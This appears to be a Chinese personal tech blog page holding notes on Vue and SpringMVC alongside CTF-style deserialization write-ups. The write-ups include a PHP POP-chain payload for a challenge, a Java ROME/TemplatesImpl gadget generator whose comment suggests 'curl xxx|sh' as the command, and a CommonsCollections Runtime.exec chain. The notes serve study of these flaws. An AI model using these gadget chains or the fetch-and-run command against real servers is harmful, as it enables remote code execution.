vue笔记

vue的作者是中国人（尤雨溪），梗“尤雨溪懂个毛线的vue”的出处

感觉相当于js的一个外置包

1.演示：
data相当于是默认的值，后面跟的东西会被解析成字符串

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Title</title>

</head>
<body>

<!--view层 模板-->
<div id="app">
    {{message}}
</div>


<!--1.导入vue.js-->
<script src="https://cdn.jsdelivr.net/npm/vue@2/dist/vue.js"></script>
<script>
    var vm=new Vue({
        el:"#app",
        //Model:数据
        data:{
           message:"hello,vue!"
       }
    });
</script>
</body>
</html>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>Vue 测试实例 - 菜鸟教程(runoob.com)</title>
<script src="https://cdn.staticfile.org/vue/2.2.2/vue.min.js"></script>
</head>
<body>
<div id="app">
	{{5+5}}<br>
	{{ ok ? 'YES' : 'NO' }}<br>
	{{ message.split('').reverse().join('') }}
	<div v-bind:id="'list-' + id">菜鸟教程</div>
</div>
	
<script>
new Vue({
  el: '#app',
  data: {
	ok: true,
    message: 'RUNOOB',
	id : 1
  }
})
</script>
</body>
</html>

会输出：
10
YES
BOONUR
菜鸟教程

2.条件语句：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<div id="app">
    <div v-if="type === 'A'">
      A
    </div>
    <div v-else-if="type === 'B'">
      B
    </div>
    <div v-else-if="type === 'C'">
      C
    </div>
    <div v-else>
      Not A/B/C
    </div>
</div>
    
<script>
new Vue({
  el: '#app',
  data: {
    type: 'C'
  }
})
</script>

3.循环：
根据数组：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<div id="app">
  <ol>
    <li v-for="site in sites">
      {{ site.name }}
    </li>
  </ol>
</div>
 
<script>
new Vue({
  el: '#app',
  data: {
    sites: [
      { name: 'Runoob' },
      { name: 'Google' },
      { name: 'Taobao' }
    ]
  }
})
</script>

根据对象：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<div id="app">
  <ul>
    <li v-for="value in object">
    {{ value }}
    </li>
  </ul>
</div>
 
<script>
new Vue({
  el: '#app',
  data: {
    object: {
      name: '菜鸟教程',
      url: 'http://www.runoob.com',
      slogan: '学的不仅是技术，更是梦想！'
    }
  }
})
</script>

获取多个值：

1
2
3
4
5
6
7
<div id="app">
  <ul>
    <li v-for="(value, key, index) in object">
     {{ index }}. {{ key }} : {{ value }}
    </li>
  </ul>
</div>

根据整数：

1
2
3
4
5
6
7
<div id="app">
  <ul>
    <li v-for="(value, key, index) in object">
     {{ index }}. {{ key }} : {{ value }}
    </li>
  </ul>
</div>

4.计算(computed关键词)
用了这个就可以使用function ()来创建函数了
以下代码的作用是将字符串倒叙输出

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<div id="app">
  <p>原始字符串: {{ message }}</p>
  <p>计算后反转字符串: {{ reversedMessage }}</p>
</div>
 
<script>
var vm = new Vue({
  el: '#app',
  data: {
    message: 'Runoob!'
  },
  computed: {
    // 计算属性的 getter
    reversedMessage: function () {
      // `this` 指向 vm 实例
      return this.message.split('').reverse().join('')
    }
  }
})
</script>

5.监听（watch属性）
在这个中的属性一般也在data中定义，然后在watch中再次定义，并可以使用function(val)，其中val就是传参（可以修改为别的值）
以v-model的表单的方式打印，修改的时候会自动运行函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
<!DOCTYPE html>
<html>
<head>
	<meta charset="utf-8">
	<title>Vue 测试实例 - 菜鸟教程(runoob.com)</title>
	<script src="https://cdn.staticfile.org/vue/2.4.2/vue.min.js"></script>
</head>
   <body>
      <div id = "computed_props">
         千米 : {{kilometers}}<!--<input type = "text" v-model = "kilometers">-->
         米 : <input type = "text" v-model = "meters">
      </div>
	   <p id="info"></p>
      <script type = "text/javascript">
         var vm = new Vue({
            el: '#computed_props',
            data: {
               kilometers : 0,
               meters:0
            },
            methods: {
            },
            computed :{
            },
            watch : {
               kilometers:function(val) {
                  this.kilometers = val;
                  this.meters = this.kilometers * 1000
               },
               meters : function (val) {
                  this.kilometers = val/ 1000;
                  this.meters = val;
               }
            }
         });
         // $watch 是一个实例方法
		vm.$watch('kilometers', function (newValue, oldValue) {
			// 这个回调将在 vm.kilometers 改变后调用
		    document.getElementById ("info").innerHTML = "修改前值为: " + oldValue + "，修改后值为: " + newValue;
		})
      </script>
   </body>
</html>

展开全文 >>

php反序化（重复利用同一个类）

题目：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
<?php
include "waf.php";
class NISA{
    public $fun="show_me_flag";
    public $txw4ever;
    public function __wakeup()
    {
        if($this->fun=="show_me_flag"){
            hint();
        }
    }

    function __call($from,$val){
        $this->fun=$val[0];
    }

    public function __toString()
    {
        echo $this->fun;
        return " ";
    }
    public function __invoke()
    {
        checkcheck($this->txw4ever);
        @eval($this->txw4ever);
    }
}

class TianXiWei{
    public $ext;
    public $x;
    public function __wakeup()
    {
        $this->ext->nisa($this->x);
    }
}

class Ilovetxw{
    public $huang;
    public $su;

    public function __call($fun1,$arg){
        $this->huang->fun=$arg[0];
    }

    public function __toString(){
        $bb = $this->su;
        return $bb();
    }
}

class four{
    public $a="TXW4EVER";
    private $fun='abc';

    public function __set($name, $value)
    {
        $this->$name=$value;
        if ($this->fun = "sixsixsix"){
            strtolower($this->a);
        }
    }
}

if(isset($_GET['ser'])){
    @unserialize($_GET['ser']);
}else{
    highlight_file(__FILE__);
}

//func checkcheck($data){
//  if(preg_match(......)){
//      die(something wrong);
//  }
//}

//function hint(){
//    echo ".......";
//    die();
//}
?>



利用链：

1
class TianXiWei:__wakeup{$this->ext->nisa($this->x);-->class Ilovetxw:__call($fun1,$arg){$this->huang->fun=$arg[0];-->class four:__set($name, $value){strtolower($this->a);-->class Ilovetxw:__toString(){return $bb();-->class NISA:__invoke(){eval($this->txw4ever);}}}}}

因为要用两个Ilovetxw类，为了防止出现无线循环，可以分两个文件：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<?php
class four{
	public $a;
    private $fun;
    public function __construct() {
            $this -> a = new Ilovetxw();
        }
}


class Ilovetxw{
	public $huang;
    public $su;
    public function __construct() {
            $this -> su = new NISA();
        }        

}
class NISA{
	public $fun;
    public $txw4ever;
    public function __construct() {
            $this -> txw4ever = "include('/fllllllaaag');";
        }        

}




$ser=new four();
echo urlencode(serialize($ser));
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
class TianXiWei{
    public $ext;
    public $x;
    public function __construct() {
            $this -> ext = new Ilovetxw();
        }

}
class Ilovetxw{
	public $huang;
    public $su;
        public function __construct() {
            $this -> huang = unserialize(urldecode("O%3A4%3A%22four%22%3A2%3A%7Bs%3A1%3A%22a%22%3BO%3A8%3A%22Ilovetxw%22%3A2%3A%7Bs%3A5%3A%22huang%22%3BN%3Bs%3A2%3A%22su%22%3BO%3A4%3A%22NISA%22%3A2%3A%7Bs%3A3%3A%22fun%22%3BN%3Bs%3A8%3A%22txw4ever%22%3Bs%3A24%3A%22include%28%27%2Ffllllllaaag%27%29%3B%22%3B%7D%7Ds%3A9%3A%22%00four%00fun%22%3BN%3B%7D"));
        }
}
$ser=new TianXiWei();
echo urlencode(serialize($ser));

或者不用__construct赋值，而用__invoke带参,然后new两次，让两次new的内容不一样

展开全文 >>

java反序化（CommonsBeanutils）笔记

这种反序化主要针对CommonsBeanutils的类型（如rome链等带有ToStringBean.java和TemplatesImpl.java文件的java反序列化），个人猜测大部分讲解几乎都来源于p神的这篇文章：https://www.leavesongs.com/PENETRATION/commons-beanutils-without-commons-collections.html
这里以d3ctf的题目和题解为例（其实几乎和p神发布的poc没什么很大的差别）
下载地址：https://github.com/la0t0ng/d3ctf2022-shorter

poc主程序为：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
package org.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.syndication.feed.impl.ObjectBean;
import com.sun.syndication.feed.impl.ToStringBean;
import org.example.asm.Resolver;
import org.example.util.Generator;
import org.example.util.SerializeUtil;

import javax.xml.transform.Templates;
import java.io.File;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;
import java.util.HashMap;

/**
 * Hello world!
 *
 */
public class Main
{
    public static byte[] resolveTemplatesPayload(String[] command) throws Exception {
        String path = System.getProperty("user.dir") + File.separator + "a.class";

        //System.out.println(path);////


        Generator.saveTemplateImpl(path, command);
        Resolver.resolve("a.class");
        byte[] newByteCodes = Files.readAllBytes(Paths.get("a.class"));
        Files.delete(Paths.get("a.class"));

//        System.out.println(Base64.getEncoder().encodeToString(newByteCodes));
        return newByteCodes;


    }

    public static void main( String[] args ) throws Exception {

        // sh -c "curl xxx.xxx.xxx.xxx|sh"
        byte[] templatesbytes = resolveTemplatesPayload(args);

//        System.out.println(templatesbytes);////
//        System.out.println(new String(templatesbytes));////
//        System.out.println(new byte[][]{templatesbytes});////
//        byte[][] a=new byte[][]{templatesbytes};////
//        System.out.println(a[0]);////
//        System.out.println(new String(a[0]));////

        String rome = rome(templatesbytes);
        System.out.println(rome);
        System.out.println("base64_length: "+rome.length());
    }

    public static String rome(byte[] templatesbytes) throws Exception {
        TemplatesImpl templates = new TemplatesImpl();
        SerializeUtil.setFieldValue(templates,"_bytecodes",new byte[][]{templatesbytes});
        SerializeUtil.setFieldValue(templates,"_name","a");

        //templates.getClass().getName();
        String result = templates.getClass().getName();
        String prefix = result.substring(result.lastIndexOf(".") + 1);
        System.out.println(prefix);



        ToStringBean toStringBean = new ToStringBean(Templates.class, templates);
        EqualsBean equalsBean = new EqualsBean(ToStringBean.class, toStringBean);

        ObjectBean objectBean = new ObjectBean(String.class,"a");

        HashMap evilMap = new HashMap();
        evilMap.put(null,null);
        evilMap.put(objectBean,null);

        SerializeUtil.setFieldValue(objectBean,"_equalsBean",equalsBean);

        byte[] bytes = SerializeUtil.serialize(evilMap);
        return Base64.getEncoder().encodeToString(bytes);
    }


}

下面将一步步解释：（图片在文字下面，建议分两个框，一个看图片，一个看介绍）
1.（图1红框）从main开始，接收了一个args传参，看提示 sh -c "curl xxx.xxx.xxx.xxx|sh"说明可以直接传shell，追resolveTemplatesPayload方法
2.（图2绿框）resolveTemplatesPayload方法中把传入的args内容（command）和a.class这个文件名（这里可以System.out.println(path);看看内容），传入saveTemplateImpl(),追！
3.（图3蓝框）程序把我们传入的内容拼接成一个java的class。这里的ProcessBuilder类似于exec，是命令执行（可以随便传个参“clac”，然后System.out.println(code);看看内容）。
4.（图4黄框）回到刚刚的resolveTemplatesPayload方法，编译文件并用byte流的方式读取，然后删除文件，返回byte流（shell以java类的byte流的形式回到了main中）
5.（图5橙框）首先是可以通过System.out.println(new String(templatesbytes));的方式看一看刚才生成的byte流。追rome函数，开始反序列化。
在我的理解里，反序列化我们只有：改参数，或者说是为已有的参数赋值，以及调用（我们动不了方法（函数）的结构，也不可能增删类与方法）
所以用橙框括起来的那几个都是用来赋值的，包括new类时的传参，根据构造函数也会造成赋值，所以我们可以记一下，以后追链子的时候回来查就行：
TemplatesImpl类：
_bytecodes=我们传入的比特流加一层数组（new byte[][]{templatesbytes}）
_name=a
ObjectBean类：
_equalsBean=EqualsBean类
构造函数：

1
2
3
4
5
public ObjectBean(Class beanClass, Object obj, Set ignoreProperties) {
    this._equalsBean = new EqualsBean(beanClass, obj);
    this._toStringBean = new ToStringBean(beanClass, obj);
    this._cloneableBean = new CloneableBean(obj, ignoreProperties);
}
main：```ObjectBean objectBean = new ObjectBean(String.class,"a");```
结果：
\_equalsBean=String.class
\_toStringBean="a"

EqualsBean类：
构造函数：

1
2
3
4
5
6
7
8
public EqualsBean(Class beanClass, Object obj) {
    if (!beanClass.isInstance(obj)) {
        throw new IllegalArgumentException(obj.getClass() + " is not instance of " + beanClass);
    } else {
        this._beanClass = beanClass;
        this._obj = obj;
    }
}
main：```EqualsBean equalsBean = new EqualsBean(ToStringBean.class, toStringBean);```
结果：
\_beanClass=ToStringBean.class
\_obj=toStringBean

ToStringBean类：
构造函数：

1
2
3
4
public ToStringBean(Class beanClass, Object obj) {
    this._beanClass = beanClass;
    this._obj = obj;
}
main：```ToStringBean toStringBean = new ToStringBean(Templates.class, templates);```
结果：
\_beanClass=Templates.class
\_obj=templates

所以结果为（后续将以“由上可知”带过赋值过程）：
TemplatesImpl类：
_bytecodes=我们传入的比特流加一层数组（new byte[][]{templatesbytes}）
_name=a
ObjectBean类：
_equalsBean=EqualsBean类
_equalsBean=String.class
_toStringBean=”a”
EqualsBean类：
_beanClass=ToStringBean.class
_obj=toStringBean
ToStringBean类：
_beanClass=Templates.class
_obj=templates

这里可以用

1
2
byte[][] a=new byte[][]{templatesbytes};
System.out.println(new String(a[0]));

来验证一下_bytecodes[0]就是我们的恶意byte流

6.整个利用链：
HashMap–>ObjectBean–>EqualsBean–>ToStringBean–>TemplatesImpl

7.(图六绿框)
main的rome方法：
evilMap.put(objectBean,null);–>put(K key, V value)(HashMap.java) (其中key为传入参数)

HashMap.java的put方法
hash(key)–>hash(Object key)(HashMap.java)

HashMap.java的hash方法
hashCode()–>hashCode()(ObjectBean.class)
(原因：main:evilMap.put(objectBean,null);)
由上可知_equalsBean=”a”
所以这里的this._equalsBean.beanHashCode();等同于this.a.beanHashCode();
a.class就是我们的恶意代码，这里先需要实例化，即先需要运行.beanHashCode()然后才会运行.a
（所以这里相当于分成两个链子：实例化和运行，这里先走实例化，等会还会回来

ObjectBean.class的hashCode方法
beanHashCode()–>beanHashCode()(EqualsBean.java）
（原因：main:erializeUtil.setFieldValue(objectBean,"_equalsBean",equalsBean);）

EqualsBean.java的beanHashCode方法
toString()–>toString()(ToStringBean.class)
(原因：main:EqualsBean equalsBean = new EqualsBean(ToStringBean.class, toStringBean);)

ToStringBean.class的toString（无参）方法
toString()–>toString(prefix)(ToStringBean.class)
由上可知_obj=templates
所以className = this._obj.getClass().getName();的值为TemplatesImpl，也就是传参prefix的值
main中的代码

1
2
3
4
//templates.getClass().getName();
String result = templates.getClass().getName();
String prefix = result.substring(result.lastIndexOf(".") + 1);
System.out.println(prefix);

就是为了验证这个结果

ToStringBean.class的toString（有参）方法：
printProperty(sb, prefix + “.” + pName, value)–>printProperty(StringBuffer sb, String prefix, Object value)(ToStringBean.class)
由上可知_beanClass=Templates.class
这里显示逐渐把prefix的参数传给sb，然后退回toString(String prefix)方法，这里会运行TemplatesImpl的所有get方法，当然也就包括getOutputProperties()方法
(保留)

然后直接追到TemplatesImpl的getOutputProperties()方法：
getOutputProperties()–>newTransformer()–>getTransletInstance()(由上可知，这里的_name已经被赋值为a，所以不会提前return)–>defineTransletClasses()
defineTransletClasses()方法：_bytecodes一开始被我们定义成恶意类的比特流，这里进行了实例化
然后这条线走完了

接着回到hashCode()–>hashCode()(ObjectBean.class)那一步：
“.a”直接运行代码a.class的内容，实现shell

图一

图二

图三

图四

图五

图六

图七

图八

图九

图十

图十一

图十二

图十三

图十四

图十五

图十六

图十七

参考：
https://www.leavesongs.com/PENETRATION/commons-beanutils-without-commons-collections.html
https://blog.csdn.net/rfrder/article/details/120007644
https://blog.csdn.net/weixin_34066347/article/details/89827676
https://blog.csdn.net/rfrder/article/details/119990475?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522164802921516780366514525%2522%252C%2522scm%2522%253A%252220140713.130102334.pc%255Fblog.%2522%257D&request_id=164802921516780366514525&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2~blog~first_rank_ecpm_v1~rank_v31_ecpm-13-119990475.nonecase&utm_term=TemplatesImpl&spm=1018.2226.3001.4450
https://blog.csdn.net/rfrder/article/details/121236409?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522164802835116780271950552%2522%252C%2522scm%2522%253A%252220140713.130102334.pc%255Fblog.%2522%257D&request_id=164802835116780271950552&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2~blog~first_rank_ecpm_v1~rank_v31_ecpm-1-121236409.nonecase&utm_term=rome&spm=1018.2226.3001.4450
https://github.com/la0t0ng/d3ctf2022-shorter

展开全文 >>

Java反序列化

一开始跟着这个（https://blog.csdn.net/rfrder/article/details/120007644 ）,死活也找不到哪里调用了计算器，后来才发现，它把利用函数简化了，完整的是：https://blog.csdn.net/rfrder/article/details/121236409

java没有servializable这样的序列化函数
要实现仅仅需要继承Servializable这个模块，然后写入流（ByteArrayOutputStream和ObjectOutputStream）即可，激活需要读出流（ByteArrayInputStream和ObjectInputStream）
另外就是一般喜欢调用的计算器的指令是“calc”（一开始看别人代码演示弹出计算器，死命找哪里调用都没找到，反而把“calc”这样的字符串当成填充字符略过了……）

演示用例：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
import java.io.*;
class User implements Serializable{
    private String name;
    public String cmd;
    public void setName(String name){this.name=name;}
    public  String getName(){return name;}

    public void setCmd(String cmd) {this.cmd = cmd;}

    private void readObject(java.io.ObjectInputStream stream) throws Exception{
        stream.defaultReadObject();
        Runtime.getRuntime().exec(cmd);
    }
}
class SerialiableTest{
    public static void main(String[] args) throws Exception{
        User user=new User();
        user.setName("DeelMind");
        user.setCmd("calc");

        byte[] serializeData=serialize(user);
        //打印
        FileOutputStream fout = new FileOutputStream("user.bin");
        fout.write(serializeData);
        //
        fout.close();
        User user2 = (User) unserialize(serializeData);
        System.out.println(user2.getName());
    }
    public static byte[] serialize(final Object obj) throws Exception{
        ByteArrayOutputStream btout = new ByteArrayOutputStream();
        ObjectOutputStream object = new ObjectOutputStream(btout);
        object.writeObject(obj);
        return btout.toByteArray();
    }
    public static Object unserialize(final byte[] serialized)throws Exception{
        ByteArrayInputStream btin = new ByteArrayInputStream(serialized);
        //打印
        System.out.println(btin);
        //
        ObjectInputStream objIn = new ObjectInputStream(btin);
        return objIn.readObject();
    }
}

反射机制：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
import java.lang.reflect.Constructor;
import java.lang.reflect.Method;

class People {
    private String name;
    public People(String name){this.name=name;}
    public String getName(){return name;}
}
class Test{
    public static void main(String[] args) throws Exception{
        Class PeopleClass = Class.forName("People");//获取类
        Constructor constructor = PeopleClass.getConstructor(String.class);//获取构造函数
        Object p =  constructor.newInstance("DeelMind");
        //System.out.println(p.getName());
        Method method = PeopleClass.getMethod("getName");//获取方法
        System.out.println(method.invoke(p));//调用方法并传参

        //效果等同于：
        //People p = new People("aaa");
        //p.getName();

        //相当于：
        //正常new：直接调用原内容（代码），进行编译
        //反射：先将原内容编译成class文件，然后把class拆出来，反编译后再调用
    }
}

在反序化中的应用：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
import java.io.*;
class User implements Serializable{
    private String name;
    public String cmd;
    public void setName(String name){this.name=name;}
    public  String getName(){return name;}

    public void setCmd(String cmd) {this.cmd = cmd;}

    private void readObject(java.io.ObjectInputStream stream) throws Exception{
//        stream.defaultReadObject();
//        Runtime.getRuntime().exec(cmd);
        Class runtimeClass = Class.forName("java.lang.Runtime");//获取类
        Object runtime = runtimeClass.getMethod("getRuntime").invoke(null);//获取方法
        runtimeClass.getMethod("exec",String.class).invoke(runtime,"notepad");
    }
}
class SerialiableTest{
    public static void main(String[] args) throws Exception{
        User user=new User();
        user.setName("DeelMind");
        user.setCmd("calc");

        byte[] serializeData=serialize(user);
        //打印
        FileOutputStream fout = new FileOutputStream("user.bin");
        fout.write(serializeData);
        //
        fout.close();
        User user2 = (User) unserialize(serializeData);
        System.out.println(user2.getName());
    }
    public static byte[] serialize(final Object obj) throws Exception{
        ByteArrayOutputStream btout = new ByteArrayOutputStream();
        ObjectOutputStream object = new ObjectOutputStream(btout);
        object.writeObject(obj);
        return btout.toByteArray();
    }
    public static Object unserialize(final byte[] serialized)throws Exception{
        ByteArrayInputStream btin = new ByteArrayInputStream(serialized);
        //打印
        System.out.println(btin);
        //
        ObjectInputStream objIn = new ObjectInputStream(btin);
        return objIn.readObject();
    }
}

runtime有个exec指令可以用

看一下runtime的内部

1
private static Runtime currentRuntime = new Runtime();
1
2
3
public static Runtime getRuntime() {
    return currentRuntime;
}
1
2
3
public Process exec(String command) throws IOException {
    return exec(command, null, null);
}

所以先调用getRuntime()会获得返回值是new了这个类，然后调用这个类的exec，传参就行

获取私有变量内容：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;

class People {
    private String name="123";
    public People(String name){this.name=name;}
//    public String getName(){return name;}
}
class Test{
    public static void main(String[] args) throws Exception{
//        Class PeopleClass = Class.forName("People");//获取类
//        Constructor constructor = PeopleClass.getConstructor(String.class);//获取构造函数
//        Object p =  constructor.newInstance("DeelMind");
//        //System.out.println(p.getName());
//        Method method = PeopleClass.getMethod("getName");//获取方法
//        System.out.println(method.invoke(p));//调用方法并传参

        //效果等同于：
        //People p = new People("aaa");
        //p.getName();

        //相当于：
        //正常new：直接调用原内容（代码），进行编译
        //反射：先将原内容编译成class文件，然后把class拆出来，反编译后再调用


        Class PeopleClass = Class.forName("People");//获取类
        Field[] f = PeopleClass.getDeclaredFields();
        for(Field field:f){
            field.setAccessible(true);
            System.out.println(field.getName());
        }

    }
}

例子：CVE-2015-6420
commons-collections-3.1.jar
1.导包：
2.com.deelmind.st.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
package com.deelmind;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.*;
import org.apache.commons.collections.map.TransformedMap;

import java.util.HashMap;
import java.util.Map;


class Poc {
    public static void main(String[] args) throws Exception{
        Transformer[] transformers = new Transformer[]{

                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{
                        String.class,Class[].class},new Object[]{
                                "getRuntime",null
                }
                ),
                new InvokerTransformer("invoke",new Class[]{
                        Object.class,Object[].class},new Object[]{
                                null,null
                }
                ),
                new InvokerTransformer("exec",new Class[]{
                    String.class},new Object[]{
                            "calc"
                }
                )

        };

        ChainedTransformer chain = new ChainedTransformer(transformers);
        Map innermap = new HashMap();
        innermap.put("key","value");
        Map outmap = TransformedMap.decorate(innermap, null, chain);
        Map.Entry onlyElement = (Map.Entry) outmap.entrySet().iterator().next();
        onlyElement.setValue("x");
    }
}

展开全文 >>

springMVC笔记

SpringMVC

MVC：模型（dao，service），视图（jsp），控制器（Servlet）
导包：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
    <modelVersion>4.0.0</modelVersion>

    <groupId>com.kuang</groupId>
    <artifactId>SpringMVC</artifactId>
    <version>1.0-SNAPSHOT</version>

    <properties>
        <maven.compiler.source>11</maven.compiler.source>
        <maven.compiler.target>11</maven.compiler.target>
    </properties>

    <dependencies>
        <dependency>
            <groupId>junit</groupId>
            <artifactId>junit</artifactId>
            <version>4.12</version>
        </dependency>
        <dependency>
            <groupId>org.springframework</groupId>
            <artifactId>spring-webmvc</artifactId>
            <version>5.3.16</version>
        </dependency>
        <dependency>
            <groupId>javax.servlet</groupId>
            <artifactId>servlet-api</artifactId>
            <version>2.5</version>
        </dependency>
        <dependency>
            <groupId>javax.servlet.jsp</groupId>
            <artifactId>jsp-api</artifactId>
            <version>2.2</version>
        </dependency>
        <dependency>
            <groupId>javax.servlet</groupId>
            <artifactId>jstl</artifactId>
            <version>1.2</version>
        </dependency>
    </dependencies>

</project>

创建文件夹后直接右键“添加框架支持”，选中web，点ok，就会自动创建web文件夹

创建jsp/hello.jsp文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<%--
  Created by IntelliJ IDEA.
  User: 30389
  Date: 2022/3/16
  Time: 20:15
  To change this template use File | Settings | File Templates.
--%>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<html>
<head>
  <title>Kuangshen</title>
</head>
<body>
${msg}
</body>
</html>

springmvc-servlet.xml

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
       xsi:schemaLocation="http://www.springframework.org/schema/beans
       http://www.springframework.org/schema/beans/spring-beans.xsd">



    <bean class="org.springframework.web.servlet.handler.BeanNameUrlHandlerMapping"/>
    <bean class="org.springframework.web.servlet.mvc.SimpleControllerHandlerAdapter"/>
    <!--视图解析器:DispatcherServlet给他的ModelAndView-->
    <bean class="org.springframework.web.servlet.view.InternalResourceViewResolver" id="InternalResourceViewResolver">
        <!--前缀-->
        <property name="prefix" value="/WEB-INF/jsp/"/>
        <!--后缀-->
        <property name="suffix" value=".jsp"/>
    </bean>

    <bean id="/hello" class="com.kuang.controller.HelloController"/>
</beans>

HelloController.class

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
package com.kuang.controller;

import org.springframework.web.servlet.ModelAndView;
import org.springframework.web.servlet.mvc.Controller;

//先导入接口（真实开发不会这么写，只是为了讲原理）
public class HelloController implements Controller {
    @Override
    public ModelAndView handleRequest(javax.servlet.http.HttpServletRequest request, javax.servlet.http.HttpServletResponse response) throws Exception {
        //ModelAndView 模型和视图
        ModelAndView mv = new ModelAndView();

        //封装对象，放在ModelAndView中。Model
        mv.addObject("msg","HelloSpringMVC!");
        //封装要跳转的视图，放在ModelAndView中
        mv.setViewName("hello"); //: /WEB-INF/jsp/hello.jsp
        return mv;
    }
}

刚运行可能会404，这边显示的是缺java EE 6,下载
然后是导新文件的jar包（不是01，而是02的）
完成以后发现卵用没有——如果jar包存在，显示无法输出，就在IDEA的项目发布中，添加lib依赖！
（“文件”–“项目结构”–“工件”，在WEB-INF底下加lib文件夹，然后点导包，把所有包导进去）（idea的历史遗留问题）

玩了一圈发现：tomcat10不能用javax，要用jakarta，但是这个程序必须要引用javax，所以必定会404，解决方法：换tomcat9
（大部分都能换jakarta，但是jstl需要这个：https://blog.csdn.net/amiao_2018/article/details/116357125 )
然后springmvc直接引用的javax包，没有引用jakarta的版本 ——2022.3.16

实际操作不会像上面那么写，因为太麻烦，会直接用注解，这只是讲原理

使用注解开发SpringMVC：
由于Maven可能存在资源过滤的问题，我们将配置完善(只要是maven就加上就行）:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<build>
   <resources>
       <resource>
           <directory>src/main/java</directory>
           <includes>
               <include>**/*.properties</include>
               <include>**/*.xml</include>
           </includes>
           <filtering>false</filtering>
       </resource>
       <resource>
           <directory>src/main/resources</directory>
           <includes>
               <include>**/*.properties</include>
               <include>**/*.xml</include>
           </includes>
           <filtering>false</filtering>
       </resource>
   </resources>
</build>

自动生成web文件夹，导入lib

web.xml

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
         version="4.0">
    <!--1.注册servlet-->
    <servlet>
        <servlet-name>SpringMVC</servlet-name>
        <servlet-class>org.springframework.web.servlet.DispatcherServlet</servlet-class>
        <!--通过初始化参数指定SpringMVC配置文件的位置，进行关联-->
        <init-param>
            <param-name>contextConfigLocation</param-name>
            <param-value>classpath:springmvc-servlet.xml</param-value>
        </init-param>
        <!-- 启动顺序，数字越小，启动越早 -->
        <load-on-startup>1</load-on-startup>
    </servlet>

    <!--所有请求都会被springmvc拦截 -->
    <servlet-mapping>
        <servlet-name>SpringMVC</servlet-name>
        <url-pattern>/</url-pattern>
    </servlet-mapping>
</web-app>

springmvc-servlet.xml

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38

